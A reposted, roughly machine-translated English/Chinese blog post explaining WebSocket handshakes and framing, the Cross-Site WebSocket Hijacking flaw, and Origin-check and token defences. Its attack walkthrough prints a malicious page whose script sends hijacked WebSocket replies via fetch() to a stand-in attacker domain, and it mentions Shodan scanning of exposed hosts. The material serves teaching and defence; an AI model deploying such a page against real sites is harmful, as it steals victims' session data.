【转载】【漏洞分析】Cross-Site WebSocket Hijacking (CSWSH)

Understanding the execution of a WebSocket attack!

理解 WebSocket 攻击的执行!

Before we go into the ACTUAL invasion, it’s crucial to know what a WebSocket is and the different sorts of WebSockets.

在我们进入实际的入侵之前,了解 WebSocket 是什么以及 WebSocket 的不同种类是至关重要的。

Hello there, everyone! Hello and welcome to this new blog, We will look at the WebSocket protocol and the CSWSH vulnerability and how common it is on the open Internet. I learned about the Cross-Site WebSocket Hijacking ( CSWSH ) vulnerability for the first time thanks to an article by Vickie Li. For those who read all the way to the end, I’ve provided a cswsh-scanner utility and resources, which you can use to test how WebSocket applications can be compromised.

大家好!你好,欢迎来到这个新的博客,我们将看看 WebSocket 协议和 CSWSH 漏洞,以及它在开放互联网上是多么普遍。由于 Vickie Li 的一篇文章,我第一次了解了跨站点 WebSocket 劫持(CSWSH)漏洞。对于那些一直读到最后的人,我提供了一个 cswsh-scanner 实用程序和资源,您可以使用它来测试如何破解 WebSocket 应用程序。

Let us first understand, What is WebSockets?

让我们先了解一下,什么是 websocket?

In modern web applications, WebSockets are commonly used. They’re started with HTTP and offer long-lasting connections with asynchronous communication in both directions.

在现代网络应用中,websocket 被广泛使用。它们从 HTTP 开始,通过双向的异步通信提供持久的连接。

WebSockets are utilized for a variety of tasks, including user interaction and the transmission of sensitive data. Almost any web security flaw that may occur with normal HTTP can also occur with WebSockets connections.

使用 websocket 完成各种任务,包括用户交互和敏感数据的传输。几乎所有普通 HTTP 可能出现的 web 安全缺陷也可能出现在 websocket 连接上。

WebSockets 3. WebSockets

RFC 6455 defines the WebSocket protocol. The protocol has two URI schemes:

6455定义了 WebSocket 协议,该协议有两个 URI 方案:

  1. ws: / host [: port] path [? query] for ordinary connections. Ws:/host [ : port ] path [ ? query ]用于普通连接
  2. wss: / host [: port] path [? query] for TLS tunnel connections. 用于 TLS 隧道连接的 wss:/host [ : port ] path [ ? query ]

WebSockets are widely used in current web development, and they are supported by all major programming languages and browsers. Online chat rooms, message boards, web interfaces, and commercial applications all use it. You can easily find WebSocket applications on the Internet by using the search engine shodan.io. It is sufficient to formulate a simple query.

在当前的 web 开发中被广泛使用,并且它们被所有主要的编程语言和浏览器所支持。在线聊天室、留言板、网络界面和商业应用程序都使用它。你可以通过搜索引擎 shodan.io 轻松地在互联网上找到 WebSocket 应用程序。用公式表示一个简单的查询就足够了。

I was not a lazy slob and completed the following tasks:

我不是一个懒惰的懒汉,我完成了以下任务:

Search for Sec-WebSocket-Version HTTP / 1.1 400 Bad Request returned 106,165 results on 20/08/2021

搜索 Sec-WebSocket-Version HTTP/1.1400 Bad Request 返回106,165个结果

Shodan-Output

As a response, More than One Hundred Thousand address from all across the world was discovered.

作为回应,我们发现了来自世界各地的十多万个地址。

ESTABLISHING A RELATIONSHIP
Let’s have a look at WebSocket in action. A handshake is the first step in communication between a client and a server. The client and server use the HTTP protocol for the handshake, however, the format of the delivered messages differs slightly. Not all HTTP message criteria are met. For example, the Content-Length header is lacking.

建立关系让我们来看看 WebSocket 的实际应用。握手是客户机和服务器之间通信的第一步。客户机和服务器使用 HTTP 协议进行握手,但是,所传递消息的格式略有不同。并非所有的 HTTP 消息条件都满足。例如,缺少 Content-Length 标头。

First, the client establishes a connection with the server and sends the following request:

首先,客户端建立与服务器的连接,并发送以下请求:

GET /echo HTTP/1.1
Host: localhost:8081
Sec-WebSocket-Version: 13
Origin: http://localhost:8081
Sec-WebSocket-Key: dGhlIHNkaXBsZSBub31jZQ==
Connection: keep-alive, Upgrade
Upgrade: websocket

Connection: Sec-WebSocket-Version, Sec-WebSocket-Key Upgrade and Upgrade: WebSocket headers are necessary; else, the server will respond with HTTP / 1.1 400 Bad Request. The following is how the server responds to the client’s request:

连接: Sec-WebSocket-Version,Sec-WebSocket-Key Upgrade 和 Upgrade: WebSocket 头是必需的,否则,服务器将响应 HTTP/1.1400 Bad Request。以下是服务器如何响应客户端的请求:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ3oYGazhZRuK+xOo=

The client generates the Sec-WebSocket-Key header as a random 16-byte value encoded in Base64. In Go, there is a version of the heading formation:

客户端生成以 Base64编码的随机16字节值形式的 Sec-WebSocket-Key 标头。在围棋中,有一种标题排列的版本:

func generateChallengeKey() (string, error) {
  p := make([]byte, 16)
  if _, err := io.ReadFull(rand.Reader, p); err != nil {
    return "", err
  }
  return base64.StdEncoding.EncodeToString(p), nil
}

The following procedure is used to create the Sec-WebSocket-Accept header in the response. The GUID 258EAFA5-E914–47DA-95CA-C5AB0DC85B11 is concatenated with a string value from the Sec-WebSocket-Key header. The SHA-1 hash is then calculated using the string from the first paragraph. The hash is encoded in Base64. In Go, there is a version of the heading formation:

下面的过程用于在响应中创建 Sec-WebSocket-Accept 标头。GUID 258EAFA5-E914-47DA-95CA-C5AB0DC85B11与来自 Sec-WebSocket-Key 报头的字符串值连接。然后使用第一段中的字符串计算 SHA-1散列。哈希值用 Base64进行编码。在围棋中,有一种标题排列的版本:

const GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
func computeAcceptKey(challengeKey string) string {
  h := sha1.New()
  h.Write([]byte(challengeKey + GUID))
  return base64.StdEncoding.EncodeToString(h.Sum(nil))
}

The Sec-WebSocket-Key and Sec-WebSocket-Accept headers aren’t used to authorize or support sessions; instead, they make sure that both the request and the response are using the WebSocket protocol. This ensures that the server does not accept requests from clients that do not use WebSockets.

Sec-WebSocket-Key 和 Sec-WebSocket-Accept 报头不用于授权或支持会话; 相反,它们确保请求和响应都使用 WebSocket 协议。这可以确保服务器不接受来自不使用 websocket 的客户端的请求。

RFC 6455 further recommends that the Sec-WebSocket-Key be chosen at random for each connection. This means that any cached proxy result will have an invalid Sec-WebSocket-Accept, causing the handshake to fail instead of reading the cached data accidentally. The client verifies the Sec-WebSocket-Accept value and expects the 101 Switching Protocols status code to finish the handshake. The initial HTTP connection is replaced with a WebSocket connection that uses the same TCP / IP connection after the handshake is completed. Either party can begin sending data at this moment.

RFC 6455进一步建议为每个连接随机选择 Sec-WebSocket-Key。这意味着任何缓存的代理结果都将具有无效的 Sec-WebSocket-Accept,从而导致握手失败,而不是意外地读取缓存的数据。客户机验证 Sec-WebSocket-Accept 值,并期望101切换协议状态代码完成握手。初始 HTTP 连接被一个 WebSocket 连接替换,该连接在握手完成后使用相同的 TCP/IP 连接。任何一方现在都可以开始发送数据。

It is convenient to utilize the “Developer Tools” provided, for example, in Chrome, to monitor WebSocket traffic.

使用“开发工具”是很方便的,例如,在 Chrome 中,可以监视 WebSocket 流量。

Utilize Dev-Tools 利用开发工具

TRANSFER OF DATA
What is the method for sending messages to WebSocket?

数据传输向 WebSocket 发送消息的方法是什么?

Data is sent in a series of frames through the WebSocket protocol. The header of the frame comprises the following data:

数据通过 WebSocket 协议以一系列帧的形式发送。框架的头部包括以下数据:

  • whether the message is fragmented; 信息是否支离破碎;
  • kind of transmitted data — all code; 传输数据的种类ーー所有代码;
  • whether the message was masked — mask flag; 信息是否被掩盖ー面具旗;
  • data size; 数据大小;
  • mask key (32 bits); 掩码键(32位) ;
  • other control data (ping, pong …). 其他控制数据(ping,pong…)

The table illustrates the frame format.

该表说明了框架格式。

This indicates that this is the final fragment in a message. The first 这表示这是消息中的最后一个片段
fragment MAY also be the final fragment. 片段也可能是最后的片段

To understand the Frame Format in-depth, Can refer to Base Framing Protocol

要深入了解帧格式,可以参考基本帧协议

The client’s messages must all be disguised. An example of a “Hello world!” text message sent to a client (data from tcpdump):

客户的所有信息都必须被伪装。一个“ Hello world!”的例子发送到客户端的文本消息(来自 tcpdump 的数据) :

Fin: True
Reserved: 0x0
Opcode: Text (1)
Mask: True
Payload length: 14
Masking-Key: a9292b01
Payload: eaf7f76dcdb2ac6ed0fefx2021

Masking is done by the usual XOR with the mask key. The client must change the key for each frame transmitted. The server should not mask its messages. An example of sending a text message “Hello world!” server:

掩码是由通常的异或与掩码键。客户端必须更改传输的每个帧的密钥。服务器不应屏蔽其消息。发送文本消息“ Hello world!”的示例伺服器:

Fin: True
Reserved: 0x0
Opcode: Text (1)
Mask: False
Payload length: 14
Payload: 98658c6c7f20776f726c642021

Because the disguising of transmitted messages is not cryptographic, the TLS protocol and the WSS scheme should be used with WebSocket to maintain confidentiality.

由于传输消息的伪装不是密码学方法,因此,TLS 协议和 WSS 协议应该与 WebSocket 一起使用,以保证其机密性。

VULNERABILITY IN ACTION
It’s time to move on to CSWSH now that the protocol has been figured out. When dealing with browsers, the WebSocket protocol employs an Origin-based security architecture. SOP (Same-origin policy) and other security procedures do not apply to WebSocket. According to RFC 6455, the server can check Origin or not when establishing a connection:

现在是时候转移到 CSWSH 了,现在协议已经解决了。在处理浏览器时,WebSocket 协议采用了基于 origin 的安全体系结构。SOP (同源策略)和其他安全过程不适用于 WebSocket。根据 RFC 6455,服务器可以在建立连接时检查 Origin:

Note: The origin of the script that establishes the connection is indicated by the Origin header element in the client handshake. Origin is changed to lowercase and serialised to ASCII. This information MAY be used by the server when deciding whether or not to accept an incoming connection. If the server does not check the origin of connections, it will accept them from wherever. If the server refuses to accept the connection, it must return an HTTP error code (for example, 403 Forbidden) and terminate the WebSocket handshake described in this section.

注意: 建立连接的脚本的原点由客户端握手中的 Origin 标头元素指示。起源改为小写,并序列化为 ASCII 码。服务器在决定是否接受传入连接时可以使用此信息。如果服务器不检查连接的起源,它将从任何地方接受它们。如果服务器拒绝接受连接,它必须返回一个 HTTP 错误代码(例如,403 Forbidden)并终止本节中描述的 WebSocket 握手。

The CSWSH flaw is caused by a lack of or incorrect validation of the Origin header in the client handshake. This is a WebSocket-specific version of the Cross-Site Request Forgery (CSRF) vulnerability. An attacker might fake the handshake request using a CSRF attack and manipulate messages delivered and received over the WebSocket connection if a WebSocket application uses cookies to govern user sessions.

CSWSH 缺陷是由于在客户端握手过程中缺少或不正确的 Origin 标头验证造成的。这是一个特定于 websocket 的跨站请求伪造安全漏洞的版本。如果 WebSocket 应用程序使用 cookie 来管理用户会话,攻击者可能会使用 CSRF 攻击伪造握手请求,并操纵通过 WebSocket 连接发送和接收的消息。

The hacker’s page can then use the connection to send arbitrary messages to the server and view the content of the messages it receives back. This means that, unlike traditional CSRF, an attacker can communicate with a compromised application in both directions.

然后,黑客的页面可以使用该连接向服务器发送任意消息,并查看它接收到的消息的内容。这意味着,与传统的 CSRF 不同,攻击者可以在两个方向上与妥协的应用程序通信。

With a successful CSWSH attack, a hacker can:

通过一次成功的 CSWSH 攻击,黑客可以:

  • Perform unauthorized actions while impersonating a victim user. An attacker can send arbitrary messages to the server application, just like with ordinary CSRF. An attacker can generate relevant cross-domain communications and commence these operations if it exploits client-generated WebSocket messages to accomplish sensitive actions. 模拟受害者用户时执行未经授权的操作。攻击者可以向服务器应用程序发送任意消息,就像普通的 CSRF 一样。如果攻击者利用客户端生成的 WebSocket 消息来完成敏感的操作,则可以生成相关的跨域通信并开始这些操作
  • Obtain confidential information that the user has access to. A cross-site WebSocket hijacking, unlike ordinary CSRF, allows an attacker to communicate with a susceptible application in both directions using a controlled WebSocket. An attacker could intercept such communications and the data of the victim user if the application uses server-generated WebSocket messages to return any sensitive data to the user. 获取用户可以访问的机密信息。跨站点的 WebSocket 劫持不同于普通的 CSRF,它允许攻击者使用受控的 WebSocket 在两个方向上与易受攻击的应用程序通信。如果应用程序使用服务器生成的 WebSocket 消息将任何敏感数据返回给用户,攻击者可以拦截这些通信和受害用户的数据

TEST ENVIRONMENT FOR CSWSH
Consider the CSWSH attack utilizing the vulnerable application………………wss: /echo.websocket.org as an example. The following is the offensive strategy.

CSWSH 的测试环境考虑利用易受攻击的应用程序… … … … … … wss:// echo.websocket.org 攻击作为例子。下面是进攻战略。

Cross-Site WebSocket Hijacking Attack 跨网站 WebSocket 劫持攻击

Let’s go over the stages, and we’ll show you the messages in HTTP format that were received at each level.

让我们回顾一下这些阶段,我们将向您展示在每个级别接收到的 HTTP 格式的消息。

The victim’s browser breaks down which is controlled by the attacker

受害者的浏览器被攻击者控制而崩溃

GET / HTTP/1.1
Host: attackers-domain
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

The site sends users a page with malicious content:

该网站向用户发送一个包含恶意内容的页面:

HTTP/1.1 200 OK
Host: attackers-domain
Date: Mon, 16 Aug 2021 14:11:09 +0101
Connection: close
X-Powered-By: PHP/7.1.21
Content-type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
<body>
  <script>
    websocket = new WebSocket('wss://echo.websocket.org');
    websocket.onopen = start
    websocket.onmessage = handleReply
    function start(event) {
      websocket.send("attackers-message");
    }
    function handleReply(event) {
      fetch('http://attackers-domain/', {method:'POST',mode:'no-cors',body:event.data})
    }
  </script>
</body>
</html>

The script is executed by the victim’s browser, which connects to the WebSocket application ws: /echo.websocket.org in the victim’s context, passing the cookie value:

该脚本由受害者的浏览器执行,该浏览器连接到受害者上下文中的 WebSocket 应用程序 ws:// echo.WebSocket.org ,传递 cookie 值:

GET / HTTP/1.1
Host: echo.websocket.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://attackers-domain
Sec-WebSocket-Key: twWJRgpy7uu5K9RlQCykJQ==
DNT: 1
Connection: keep-alive, Upgrade
Cookie: SESSIONID=bigsecret
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

The application starts a new WebSocketcookie-related connection with the header Origin: http://attackers-domain. SESSIONID=bigsecret:

该应用程序启动一个新的 websocketcookie 相关连接,其头部为 Origin: http://attackers-domain:

HTTP/1.1 101 Web Socket Protocol Handshake
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Headers: authorization
Access-Control-Allow-Headers: x-websocket-extensions
Access-Control-Allow-Headers: x-websocket-version
Access-Control-Allow-Headers: x-websocket-protocol
Access-Control-Allow-Origin: http://attackers-domain
Connection: Upgrade
Date: Mon, 16 Aug 2021 14:11:09 GMT
Sec-WebSocket-Accept: dLr0PXjy/nj7MF1Isif/PLQLNM0=
Server: Kaazing Gateway
Upgrade: websocket

On behalf of the victim, the attacker sends an attackers-message, The application that is in charge of the WebSocket sends a response message. Because our app is an echo server, the response will be an attackers-message as well.

攻击者代表受害者发送攻击者消息,负责 WebSocket 的应用程序发送响应消息。因为我们的应用程序是一个 echo 服务器,所以响应也将是一个攻击者消息。

At the end of the process, the server’s response is transmitted to the attacker-controlled domain:

在进程结束时,服务器的响应被传送到攻击者控制的域:

POST / HTTP/1.1
Host: attackers-domain
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://attackers-domain/
Content-Type: text/plain;charset=UTF-8
Origin: http://attackers-domain
Content-Length: 17
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
attackers-message

PROTECTION FROM THE CSWSH
You can defend yourself from CSWSH in two ways:

防御 CSWSH 你可以通过以下两种方式来防御 CSWSH:

  • Use individual random tokens (e.g. CSRF tokens) in the handshake request and validate them against the server; 在握手请求中使用单个随机标记(例如 CSRF 标记) ,并在服务器上验证它们;
  • Check the Origin header of the WebSocket handshake request on the server. 检查服务器上 WebSocket 握手请求的 Origin 头部

Sometimes, but not usually, CSWSH protection is already integrated into the libraries. In the Gorilla WebSocket framework, CSWSH protection is implemented as follows:

有时,但不是通常,CSWSH 保护已经集成到库中。在 Gorilla WebSocket 框架中,CSWSH 保护实现如下:

// checkSameOrigin returns true if the origin is not set or is equal to the request host.
func checkSameOrigin(r *http.Request) bool {
  origin := r.Header["Origin"]
  if len(origin) == 0 {
    return true
  }
  u, err := url.Parse(origin[0])
  if err != nil {
    return false
  }
  return equalASCIIFold(u.Host, r.Host)
}

The default setting for origin check is to compare the values of the Host and Origin headers from the handshake request.

原点检查的默认设置是比较握手请求中 Host 和 Origin 头的值。

Thank you for reading my post; please leave a comment below if you have any suggestions 🙂

感谢您阅读我的帖子,如果您有任何建议,请在下面留下评论:)

Here is my Twitter handle @N3T_hunt3r Feel free to reach me.

这是我的推特账号@n3t. hunt3r 请随时联系我。

cswsh-scanner utility:

Cswsh-scanner 实用程序:

GitHub – DeepakPawar95/cswsh: A command-line tool for Cross-Site WebSocket Hijacking

GitHub-DeepakPawar95/cswsh: 跨站点 WebSocket 劫持的命令行工具

A command-line tool designed to test and connect to a WebSocket which are vulnerable to Cross-Site WebSocket Hijacking…

一个命令行工具,用于测试和连接到一个易受跨站点 WebSocket 劫持攻击的 WebSocket..

github.com

网址: github. com

Reference/Resources:

参考资料/资源:

Testing for WebSockets security vulnerabilities | Web Security Academy

安全漏洞测试 | Web Security Academy

In this section, we’ll explain how to manipulate WebSocket messages and connections, describe the kinds of security…

在本节中,我们将解释如何操作 WebSocket 消息和连接,描述各种安全性… ..

WebSocket Security – Cross-Site Hijacking (CSWSH)

WebSocket 安全性-跨站点劫持(CSWSH)

In this article, we are going to take a look at one of the newer technologies used in modern web applications, the…

在本文中,我们将介绍一种用于现代 web 应用程序的新技术,它叫做..

How to handle WebSockets Security

如何处理 websocket 安全性

by Michael Schneider

作者: Michael Schneider

Cross-site WebSocket hijacking (CSWSH)

跨站点 WebSocket 劫持(CSWSH)

WebSocket connections are initiated over HTTP and are typical. Messages can be sent in long-lived and are not…

WebSocket 连接是通过 HTTP 启动的,非常典型。消息可以以长期存在的方式发送,而不是..

Websocket Hijacking — YouTube

Websocket 劫持ー YouTube

Account Takeover Using Cross-Site WebSocket Hijacking (CSWH) | by Sharan Panegav | Medium

使用跨网站 WebSocket 劫持(CSWH)接管账户 | Sharan Panegav | Medium